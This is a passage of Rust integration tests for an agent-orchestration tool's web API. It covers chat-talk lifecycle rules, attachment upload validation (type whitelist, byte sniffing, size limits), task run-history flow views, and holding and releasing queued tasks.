9579    }
9580
9581    #[tokio::test]
9582    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
9583        let (_tmp, _repo, f) = talk_fixture().await;
9584        let id = f.post("/api/talks", None).await.json()["id"]
9585            .as_str()
9586            .expect("id")
9587            .to_owned();
9588        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9589        assert_eq!(closed.status, 200, "{}", closed.body);
9590        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9591            .expect("serialize closed talk");
9592        for (path, body) in [
9593            (format!("/api/talks/{id}/pending/resume"), None),
9594            (
9595                format!("/api/talks/{id}/pending/clear"),
9596                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
9597            ),
9598            (
9599                format!("/api/talks/{id}/pending/edit"),
9600                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
9601            ),
9602            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
9603        ] {
9604            let response = f.post(&path, body).await;
9605            assert_eq!(response.status, 409, "{}", response.body);
9606        }
9607        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9608            .expect("serialize closed talk");
9609        assert_eq!(
9610            after_clear, before_clear,
9611            "clear must not rewrite a closed talk"
9612        );
9613    }
9614
9615    /// Keeps both claims observable long enough to exercise the distinction
9616    /// between one busy talk and a globally locked Chat surface.
9617    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
9618
9619    #[tokio::test]
9620    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
9621        let tmp = TempDir::new().expect("tempdir");
9622        let repo = tmp.path().join("repo");
9623        std::fs::create_dir_all(&repo).expect("repo dir");
9624        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9625        let f = Fixture::with_repo(repo).await;
9626        let id_a = f.post("/api/talks", None).await.json()["id"]
9627            .as_str()
9628            .unwrap()
9629            .to_owned();
9630        let id_b = f.post("/api/talks", None).await.json()["id"]
9631            .as_str()
9632            .unwrap()
9633            .to_owned();
9634
9635        let a = f
9636            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
9637            .await;
9638        assert_eq!(a.status, 202, "{}", a.body);
9639        assert_eq!(a.json()["thinking"], true);
9640        let b = f
9641            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
9642            .await;
9643        assert_eq!(b.status, 202, "{}", b.body);
9644        assert_eq!(b.json()["thinking"], true);
9645
9646        let listed = f.get("/api/talks").await.json();
9647        for id in [&id_a, &id_b] {
9648            let view = listed
9649                .as_array()
9650                .unwrap()
9651                .iter()
9652                .find(|talk| talk["id"] == *id)
9653                .unwrap();
9654            assert_eq!(view["thinking"], true, "{listed}");
9655        }
9656        let repeated = f
9657            .post(
9658                &format!("/api/talks/{id_a}/say"),
9659                Some(r#"{"text":"again"}"#),
9660            )
9661            .await;
9662        assert_eq!(repeated.status, 202, "{}", repeated.body);
9663        assert_eq!(repeated.json()["pending"], "again");
9664    }
9665
9666    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
9667    /// few more, since real uploads are never exactly eight bytes.
9668    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
9669
9670    #[tokio::test]
9671    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
9672        let f = Fixture::start().await;
9673        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
9674
9675        let res = f
9676            .post_bytes(
9677                &format!("/api/talks/{id}/attachments"),
9678                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9679                PNG_BYTES,
9680            )
9681            .await;
9682        assert_eq!(res.status, 201, "{}", res.body);
9683        let body = res.json();
9684        assert_eq!(body["name"], "shot.png");
9685        assert_eq!(body["mime"], "image/png");
9686        assert_eq!(body["bytes"], PNG_BYTES.len());
9687        let att_id = body["id"].as_str().expect("id").to_owned();
9688        assert_eq!(
9689            att_id.len(),
9690            32,
9691            "the id must never be a client-suppliable path: {att_id}"
9692        );
9693
9694        let got = f
9695            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
9696            .await;
9697        assert_eq!(got.status, 200, "{}", got.body);
9698        assert_eq!(got.header("content-type"), Some("image/png"));
9699        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
9700        assert_eq!(got.bytes, PNG_BYTES);
9701    }
9702
9703    #[tokio::test]
9704    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
9705        let f = Fixture::start().await;
9706        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
9707
9708        // SVG can carry a `<script>`, so it is never on the whitelist even
9709        // though it is a real IANA image type.
9710        let svg = f
9711            .post_bytes(
9712                &format!("/api/talks/{id}/attachments"),
9713                &[("Content-Type", "image/svg+xml")],
9714                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
9715            )
9716            .await;
9717        assert!(
9718            (400..500).contains(&svg.status),
9719            "svg must be refused: {} {}",
9720            svg.status,
9721            svg.body
9722        );
9723        assert!(svg.body.contains("SVG"), "{}", svg.body);
9724
9725        let text = f
9726            .post_bytes(
9727                &format!("/api/talks/{id}/attachments"),
9728                &[("Content-Type", "text/plain")],
9729                b"just some text",
9730            )
9731            .await;
9732        assert!(
9733            (400..500).contains(&text.status),
9734            "an unlisted type must be refused: {} {}",
9735            text.status,
9736            text.body
9737        );
9738
9739        // The declared type is a real png, but the size check runs before
9740        // the bytes are even looked at.
9741        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
9742        let big = f
9743            .post_bytes(
9744                &format!("/api/talks/{id}/attachments"),
9745                &[("Content-Type", "image/png")],
9746                &oversized,
9747            )
9748            .await;
9749        assert_eq!(
9750            big.status,
9751            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
9752            "{}",
9753            big.body
9754        );
9755    }
9756
9757    #[tokio::test]
9758    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
9759        let f = Fixture::start().await;
9760        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
9761
9762        // A whitelisted `Content-Type`, but bytes that are not actually a
9763        // png - the declared header alone is never trusted.
9764        let res = f
9765            .post_bytes(
9766                &format!("/api/talks/{id}/attachments"),
9767                &[("Content-Type", "image/png")],
9768                b"<html>not a picture</html>",
9769            )
9770            .await;
9771        assert!((400..500).contains(&res.status), "{}", res.body);
9772    }
9773
9774    #[tokio::test]
9775    async fn an_unknown_attachment_id_is_a_404() {
9776        let f = Fixture::start().await;
9777        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
9778
9779        let res = f
9780            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
9781            .await;
9782        assert_eq!(res.status, 404, "{}", res.body);
9783    }
9784
9785    #[tokio::test]
9786    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
9787        let f = Fixture::start().await;
9788        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
9789
9790        let uploaded = f
9791            .post_bytes(
9792                &format!("/api/talks/{id}/attachments"),
9793                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9794                PNG_BYTES,
9795            )
9796            .await;
9797        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9798        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
9799
9800        let res = f
9801            .post(
9802                &format!("/api/talks/{id}/say"),
9803                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
9804            )
9805            .await;
9806        assert_eq!(res.status, 202, "{}", res.body);
9807        let queued = res.json();
9808        let turns = queued["turns"].as_array().expect("turns array");
9809        assert_eq!(
9810            turns.len(),
9811            1,
9812            "an empty body with an attachment is still a turn: {queued}"
9813        );
9814        assert_eq!(turns[0]["who"], "operator");
9815        assert_eq!(turns[0]["body"], "");
9816        let atts = turns[0]["attachments"]
9817            .as_array()
9818            .expect("attachments array");
9819        assert_eq!(atts.len(), 1);
9820        assert_eq!(atts[0]["id"], att_id);
9821        assert_eq!(atts[0]["mime"], "image/png");
9822
9823        // Not only in the response: `record` flushes to disk before the
9824        // agent's own turn is even spawned.
9825        let on_disk = f.talks().get(&id).expect("get");
9826        assert_eq!(on_disk.turns[0].attachments.len(), 1);
9827        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
9828    }
9829
9830    #[tokio::test]
9831    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
9832        let f = Fixture::start().await;
9833        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
9834
9835        let res = f
9836            .post(
9837                &format!("/api/talks/{id}/say"),
9838                Some(&format!(
9839                    r#"{{"text":"hi","attachments":["{}"]}}"#,
9840                    "a".repeat(32)
9841                )),
9842            )
9843            .await;
9844        assert!((400..500).contains(&res.status), "{}", res.body);
9845        assert!(res.body.contains("unknown attachment"), "{}", res.body);
9846
9847        let on_disk = f.talks().get(&id).expect("get");
9848        assert!(
9849            on_disk.turns.is_empty(),
9850            "a rejected attachment id must not partially record the turn: {:?}",
9851            on_disk.turns
9852        );
9853    }
9854
9855    #[tokio::test]
9856    async fn talk_close_makes_the_talk_refuse_further_turns() {
9857        let f = Fixture::start().await;
9858        let id = seed_talk(&f, "20260904-014455-cd34", "open");
9859
9860        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9861        assert_eq!(closed.status, 200, "{}", closed.body);
9862        assert_eq!(closed.json()["status"], "closed");
9863
9864        // Idempotent: closing an already-closed talk is not an error.
9865        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
9866        assert_eq!(closed_again.status, 200);
9867        assert_eq!(closed_again.json()["status"], "closed");
9868
9869        let said = f
9870            .post(
9871                &format!("/api/talks/{id}/say"),
9872                Some(r#"{"text":"too late"}"#),
9873            )
9874            .await;
9875        assert_eq!(said.status, 409, "{}", said.body);
9876    }
9877
9878    #[tokio::test]
9879    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
9880        let (_tmp, _repo, f) = talk_fixture().await;
9881        let id = f.post("/api/talks", None).await.json()["id"]
9882            .as_str()
9883            .expect("id")
9884            .to_owned();
9885        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9886        assert_eq!(closed.status, 200, "{}", closed.body);
9887
9888        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9889        assert_eq!(reopened.status, 200, "{}", reopened.body);
9890        assert_eq!(reopened.json()["status"], "open");
9891
9892        // Idempotent: reopening an already-open talk is not an error.
9893        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9894        assert_eq!(reopened_again.status, 200);
9895        assert_eq!(reopened_again.json()["status"], "open");
9896
9897        let said = f
9898            .post(
9899                &format!("/api/talks/{id}/say"),
9900                Some(r#"{"text":"still there?"}"#),
9901            )
9902            .await;
9903        assert_eq!(
9904            said.status, 202,
9905            "a reopened talk accepts turns again: {}",
9906            said.body
9907        );
9908    }
9909
9910    #[tokio::test]
9911    async fn talk_reopen_on_an_unknown_id_is_404() {
9912        let f = Fixture::start().await;
9913        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
9914        assert_eq!(res.status, 404, "{}", res.body);
9915    }
9916
9917    #[tokio::test]
9918    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
9919        let f = Fixture::start().await;
9920        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
9921
9922        let deleted = f.delete(&format!("/api/talks/{id}")).await;
9923        assert_eq!(deleted.status, 204, "{}", deleted.body);
9924
9925        let after = f.get(&format!("/api/talks/{id}")).await;
9926        assert_eq!(after.status, 404, "{}", after.body);
9927
9928        let listed = f.get("/api/talks").await.json();
9929        assert!(
9930            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
9931            "a deleted talk must not linger in the list: {listed}"
9932        );
9933    }
9934
9935    #[tokio::test]
9936    async fn talk_delete_on_an_unknown_id_is_404() {
9937        let f = Fixture::start().await;
9938        let res = f.delete("/api/talks/nonexistent-id").await;
9939        assert_eq!(res.status, 404, "{}", res.body);
9940    }
9941
9942    /// A task's page lists every run it ever had, in order, and says what kind
9943    /// of attempt each was - including a resume, which re-pushes the same run
9944    /// id, and a run whose record this build cannot read.
9945    #[tokio::test]
9946    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
9947        let f = Fixture::start().await;
9948        let (a, b, gone) = (
9949            "20260902-140501-aaaa",
9950            "20260902-140502-bbbb",
9951            "20260902-140503-cccc",
9952        );
9953        write_run(&f.runs(), a, RunStatus::Stalled);
9954        let mut review = RunState::new(
9955            PathBuf::from("/repo/magi"),
9956            "main".to_owned(),
9957            "0123456789abcdef".to_owned(),
9958            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
9959                .to_owned(),
9960            Config::default(),
9961        );
9962        review.id = b.to_owned();
9963        review.status = RunStatus::Merged;
9964        write_state(&f.runs(), &review);
9965
9966        let mut task = Task::new(
9967            "retry".to_owned(),
9968            "Do the thing".to_owned(),
9969            PathBuf::from("/repo/magi"),
9970            Source::Human,
9971        );
9972        task.start(a.to_owned());
9973        task.stall("quota");
9974        task.start(a.to_owned());
9975        task.start(b.to_owned());
9976        task.start(gone.to_owned());
9977        f.queue().put(&mut task).expect("file the task");
9978
9979        let res = f.get(&format!("/api/queue/{}", task.id)).await;
9980        assert_eq!(res.status, 200, "{}", res.body);
9981        let v = res.json();
9982        let h = v["history"].as_array().expect("history");
9983        assert_eq!(h.len(), 4, "{v}");
9984        assert_eq!(h[0]["kind"], "competition");
9985        assert_eq!(h[0]["status"], "stalled");
9986        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
9987        assert_eq!(h[1]["kind"], "resume", "{v}");
9988        assert!(
9989            h[0]["outcome"]
9990                .as_str()
9991                .unwrap()
9992                .contains("unknown. Pass #2"),
9993            "an earlier pass of a resumed run must not claim the final outcome: {v}"
9994        );
9995        assert!(
9996            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
9997            "{v}"
9998        );
9999        assert!(
10000            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
10001            "an unrecorded cause must not be narrated as an operator park: {v}"
10002        );
10003        assert_eq!(h[2]["kind"], "review");
10004        assert!(
10005            h[2]["description"]
10006                .as_str()
10007                .unwrap()
10008                .contains("magi/aaaa/A")
10009        );
10010        assert_eq!(h[2]["status"], "merged");
10011        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
10012        assert_eq!(v["runs_unreadable"], 1);
10013        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
10014        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
10015        assert_eq!(nodes[4]["note"], "unreadable");
10016        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
10017        assert_eq!(v["instruction"], "Do the thing");
10018        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
10019
10020        // The run's own page links back to the task.
10021        let run = f.get(&format!("/api/runs/{a}")).await.json();
10022        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
10023
10024        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
10025    }
10026
10027    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
10028        let mut s = RunState::new(
10029            PathBuf::from("/repo/magi"),
10030            "main".to_owned(),
10031            "0123456789abcdef".to_owned(),
10032            "Do it".to_owned(),
10033            Config::default(),
10034        );
10035        s.status = status;
10036        edit(&mut s);
10037        s
10038    }
10039
10040    fn flow_task(runs: &[&str]) -> Task {
10041        let mut t = Task::new(
10042            "t".to_owned(),
10043            "Do it".to_owned(),
10044            PathBuf::from("/repo/magi"),
10045            Source::Human,
10046        );
10047        for r in runs {
10048            t.start((*r).to_owned());
10049        }
10050        t
10051    }
10052
10053    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
10054        let h = task_history(task, |id| {
10055            states
10056                .iter()
10057                .find(|(i, _)| *i == id)
10058                .and_then(|(_, s)| s.clone())
10059        });
10060        task_flow(task, &h, 5)
10061    }
10062
10063    #[test]
10064    fn flow_opens_with_the_chat_that_queued_the_task() {
10065        let mut t = flow_task(&[]);
10066        t.source = Source::Agent {
10067            run: "a b/c".to_owned(),
10068            node: crate::queue::CHAT_NODE.to_owned(),
10069        };
10070        let f = flow_for(&t, &[]);
10071        assert_eq!(f.nodes[0].key, "chat");
10072        assert_eq!(f.nodes[0].kind, "chat");
10073        assert_eq!(
10074            f.nodes[0].label,
10075            format!("Chat {}", crate::queue::short("a b/c"))
10076        );
10077        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
10078        assert_eq!(f.nodes[1].key, "start");
10079        assert_eq!(
10080            f.edges[0],
10081            FlowEdge {
10082                from: "chat".to_owned(),
10083                to: "start".to_owned(),
10084                label: "queued from chat".to_owned(),
10085                attempt: AttemptCost::None,
10086            }
10087        );
10088    }
10089
10090    #[test]
10091    fn flow_has_no_chat_box_for_other_sources() {
10092        for source in [
10093            Source::Human,
10094            Source::Issue {
10095                number: 3,
10096                repo: "o/r".to_owned(),
10097            },
10098            Source::Agent {
10099                run: "20260904-014455-ab12".to_owned(),
10100                node: "implement".to_owned(),
10101            },
10102        ] {
10103            let mut t = flow_task(&[]);
10104            t.source = source;
10105            let f = flow_for(&t, &[]);
10106            assert_eq!(f.nodes[0].key, "start");
10107            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
10108            assert!(f.edges.iter().all(|e| e.from != "chat"));
10109        }
10110    }
10111
10112    const FA: &str = "20260902-140501-aaaa";
10113    const FB: &str = "20260902-140502-bbbb";
10114
10115    #[test]
10116    fn flow_follows_blocked_retry_merged_to_done() {
10117        let mut t = flow_task(&[FA, FB]);
10118        t.status = TaskStatus::Done;
10119        let f = flow_for(
10120            &t,
10121            &[
10122                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
10123                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
10124            ],
10125        );
10126        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
10127        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
10128        assert_eq!(f.edges.len(), 3);
10129        assert_eq!(f.edges[0].label, "claimed");
10130        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
10131        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10132        assert_eq!(f.edges[2].label, "merged \u{2192} done");
10133        assert_eq!(
10134            f.nodes[2].href.as_deref(),
10135            Some("#/runs/20260902-140502-bbbb")
10136        );
10137        assert!(f.nodes[2].decided);
10138    }
10139
10140    #[test]
10141    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
10142        let quota = || {
10143            flow_run(RunStatus::Stalled, |s| {
10144                s.quota.push(crate::run::QuotaLoss {
10145                    seat: "judge-1".to_owned(),
10146                    node: "judge".to_owned(),
10147                    at: Timestamp::now(),
10148                    reset: None,
10149                })
10150            })
10151        };
10152        let mut t = flow_task(&[FA, FA]);
10153        t.status = TaskStatus::Queued;
10154        let f = flow_for(&t, &[(FA, Some(quota()))]);
10155        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
10156        assert_eq!(f.nodes[1].note, Some("interrupted"));
10157        assert_eq!(
10158            f.nodes[1].status, None,
10159            "no outcome copied onto an earlier pass"
10160        );
10161        assert_eq!(
10162            f.edges[1].attempt,
10163            AttemptCost::Unknown,
10164            "a resume does not prove the earlier pass was refunded"
10165        );
10166        assert!(f.edges[1].label.contains("resume the same run"));
10167        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
10168        assert_eq!(
10169            f.edges[2].label,
10170            "stalled after a resume, refund unknown \u{2192} queued"
10171        );
10172        assert!(!f.nodes[2].decided, "a stall is not a decision");
10173        assert_eq!(f.nodes[2].note, Some("no verdict"));
10174    }
10175
10176    #[test]
10177    fn flow_single_pass_quota_stall_is_refunded() {
10178        let t = flow_task(&[FA]);
10179        let f = flow_for(
10180            &t,
10181            &[(
10182                FA,
10183                Some(flow_run(RunStatus::Stalled, |s| {
10184                    s.quota.push(crate::run::QuotaLoss {
10185                        seat: "judge-1".to_owned(),
10186                        node: "judge".to_owned(),
10187                        at: Timestamp::now(),
10188                        reset: None,
10189                    })
10190                })),
10191            )],
10192        );
10193        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10194    }
10195
10196    #[test]
10197    fn flow_parked_refunds_and_stall_without_quota_spends() {
10198        let mut t = flow_task(&[FA]);
10199        t.status = TaskStatus::Queued;
10200        let f = flow_for(
10201            &t,
10202            &[(
10203                FA,
10204                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
10205            )],
10206        );
10207        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
10208        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10209        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
10210        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10211        assert!(!f.nodes[1].decided);
10212    }
10213
10214    #[test]
10215    fn flow_keeps_an_unreadable_run_as_its_own_node() {
10216        let t = flow_task(&[FA, FB]);
10217        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
10218        assert_eq!(f.nodes[1].note, Some("unreadable"));
10219        assert!(!f.nodes[1].readable);
10220        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
10221        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
10222    }
10223
10224    #[test]
10225    fn flow_names_the_branch_of_a_review_only_run() {
10226        let t = flow_task(&[FA]);
10227        let f = flow_for(
10228            &t,
10229            &[(
10230                FA,
10231                Some(flow_run(RunStatus::Merged, |s| {
10232                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
10233                })),
10234            )],
10235        );
10236        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
10237        assert_eq!(
10238            f.nodes[1].detail.as_deref(),
10239            Some("review-only run of branch magi/x/A")
10240        );
10241    }
10242
10243    #[test]
10244    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
10245        let mut t = flow_task(&[FA]);
10246        t.status = TaskStatus::Held;
10247        let pr = crate::run::PrRecord {
10248            url: "https://example.test/pr/1".to_owned(),
10249            number: 1,
10250            state: "open".to_owned(),
10251            checks: "green".to_owned(),
10252            round: 0,
10253            rounds: 3,
10254            red_at_merge: Vec::new(),
10255        };
10256        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
10257        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
10258        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
10259        t.status = TaskStatus::Done;
10260        let f = flow_for(&t, &[(FA, Some(blocked))]);
10261        assert_eq!(f.edges[1].label, "closed by hand: task is done");
10262    }
10263
10264    #[test]
10265    fn flow_with_no_runs_goes_from_queued_to_queued() {
10266        let t = flow_task(&[]);
10267        let f = flow_for(&t, &[]);
10268        assert_eq!(f.nodes.len(), 2);
10269        assert_eq!(f.edges.len(), 1);
10270        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
10271        assert_eq!(f.edges[0].attempt, AttemptCost::None);
10272    }
10273
10274    /// A run parked mid-flight keeps a non-terminal status; the page must
10275    /// still say why it stopped and that the attempt came back.
10276    #[test]
10277    fn a_parked_non_terminal_run_is_explained_as_parked() {
10278        let mut s = RunState::new(
10279            PathBuf::from("/repo/magi"),
10280            "main".to_owned(),
10281            "0123456789abcdef".to_owned(),
10282            "Do it".to_owned(),
10283            Config::default(),
10284        );
10285        s.status = RunStatus::Implementing;
10286        s.parked = true;
10287        let task = Task::new(
10288            "t".to_owned(),
10289            "Do it".to_owned(),
10290            PathBuf::from("/repo/magi"),
10291            Source::Human,
10292        );
10293        let v = task_run_view(
10294            "20260902-140501-aaaa",
10295            Some(&s),
10296            RunSlot {
10297                n: 1,
10298                resumed: false,
10299                resumed_later: None,
10300                prior: None,
10301                last: true,
10302            },
10303            &task,
10304        );
10305        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
10306    }
10307
10308    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
10309        let mut s = flow_run(RunStatus::Implementing, edit);
10310        s.parked = false;
10311        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
10312        task_run_view(
10313            "20260902-140501-aaaa",
10314            Some(&s),
10315            RunSlot {
10316                n: 1,
10317                resumed: false,
10318                resumed_later: Some(2),
10319                prior: None,
10320                last: false,
10321            },
10322            &task,
10323        )
10324    }
10325
10326    #[test]
10327    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
10328        let v = earlier_pass_view(|_| {});
10329        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
10330        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10331        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
10332        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
10333        assert_eq!(v.exit, RunExit::Interrupted);
10334        assert_eq!(v.attempt, AttemptCost::Unknown);
10335    }
10336
10337    #[test]
10338    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
10339        let v = earlier_pass_view(|s| {
10340            s.quota.push(crate::run::QuotaLoss {
10341                seat: "judge-1".to_owned(),
10342                node: "judge".to_owned(),
10343                at: Timestamp::now(),
10344                reset: None,
10345            });
10346        });
10347        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
10348        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10349        assert_eq!(v.attempt, AttemptCost::Unknown);
10350    }
10351
10352    #[test]
10353    fn the_current_pass_states_its_recorded_cause_and_cost() {
10354        let slot = || RunSlot {
10355            n: 1,
10356            resumed: false,
10357            resumed_later: None,
10358            prior: None,
10359            last: true,
10360        };
10361        let task = flow_task(&["20260902-140501-aaaa"]);
10362        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
10363        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
10364        assert_eq!(
10365            (v.exit, v.attempt),
10366            (RunExit::Parked, AttemptCost::Refunded)
10367        );
10368        let spent = flow_run(RunStatus::Blocked, |_| {});
10369        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
10370        assert_eq!(v.attempt, AttemptCost::Spent);
10371        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
10372    }
10373
10374    #[tokio::test]
10375    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
10376        let f = Fixture::start().await;
10377        let queue = f.queue();
10378        let mut task = Task::new(
10379            "spent".to_owned(),
10380            "Try again".to_owned(),
10381            PathBuf::from("/repo/magi"),
10382            Source::Human,
10383        );
10384        task.start("20260902-140502-bbbb".to_owned());
10385        task.fail("agent gave up", 9);
10386        queue.put(&mut task).expect("file the task");
10387
10388        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10389        assert_eq!(held.status, 200);
10390        assert_eq!(held.json()["status_str"], "held");
10391
10392        let released = f
10393            .post(&format!("/api/queue/{}/release", task.id), None)
10394            .await;
10395        assert_eq!(released.status, 200);
10396        assert_eq!(released.json()["status_str"], "queued");
10397        assert_eq!(
10398            released.json()["attempts"],
10399            0,
10400            "release is a real second chance, not an instant re-hold"
10401        );
10402        assert_eq!(
10403            queue.get(&task.id).expect("reload").status,
10404            TaskStatus::Queued,
10405            "the change is on disk, not only in the reply"
10406        );
10407        assert!(
10408            !f.home
10409                .path()
10410                .join("queue")
10411                .join(format!("{}.lock", task.id))
10412                .exists(),
10413            "the claim the mutation took is released again"
10414        );
10415    }
10416
10417    #[tokio::test]
10418    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
10419        let f = Fixture::start().await;
10420        let queue = f.queue();
10421        let mut task = Task::new(
10422            "busy".to_owned(),
10423            "Running right now".to_owned(),
10424            PathBuf::from("/repo/magi"),
10425            Source::Human,
10426        );
10427        queue.put(&mut task).expect("file the task");
10428        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10429
10430        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10431
10432        assert_eq!(res.status, 409);
10433        assert_eq!(
10434            queue.get(&task.id).expect("reload").status,
10435            TaskStatus::Queued,
10436            "the refused hold changed nothing"
10437        );
10438    }
10439
10440    #[tokio::test]
10441    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
10442        let f = Fixture::start().await;
10443        let queue = f.queue();
10444        let mut task = Task::new(
10445            "waiting on the migration".to_owned(),
10446            "Do the thing".to_owned(),
10447            PathBuf::from("/repo/magi"),
10448            Source::Human,
10449        );
10450        queue.put(&mut task).expect("file the task");
10451
10452        let held = f
10453            .post(
10454                &format!("/api/queue/{}/hold", task.id),
10455                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
10456            )
10457            .await;
10458        assert_eq!(held.status, 200, "{}", held.body);
10459        assert_eq!(held.json()["status_str"], "held");
10460        assert_eq!(
10461            held.json()["hold_reason"],
10462            "waiting for 20260101-000000-aaaa to land"
10463        );
10464
10465        let listed = f.get("/api/queue").await.json();
10466        assert_eq!(
10467            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
10468            "the card reads the reason off the same list route"
10469        );
10470
10471        // A hold with no body at all must keep working - most holds have no
10472        // reason to give.
10473        let mut plain = Task::new(
10474            "no reason given".to_owned(),
10475            "Do another thing".to_owned(),
10476            PathBuf::from("/repo/magi"),
10477            Source::Human,
10478        );
10479        queue.put(&mut plain).expect("file the task");
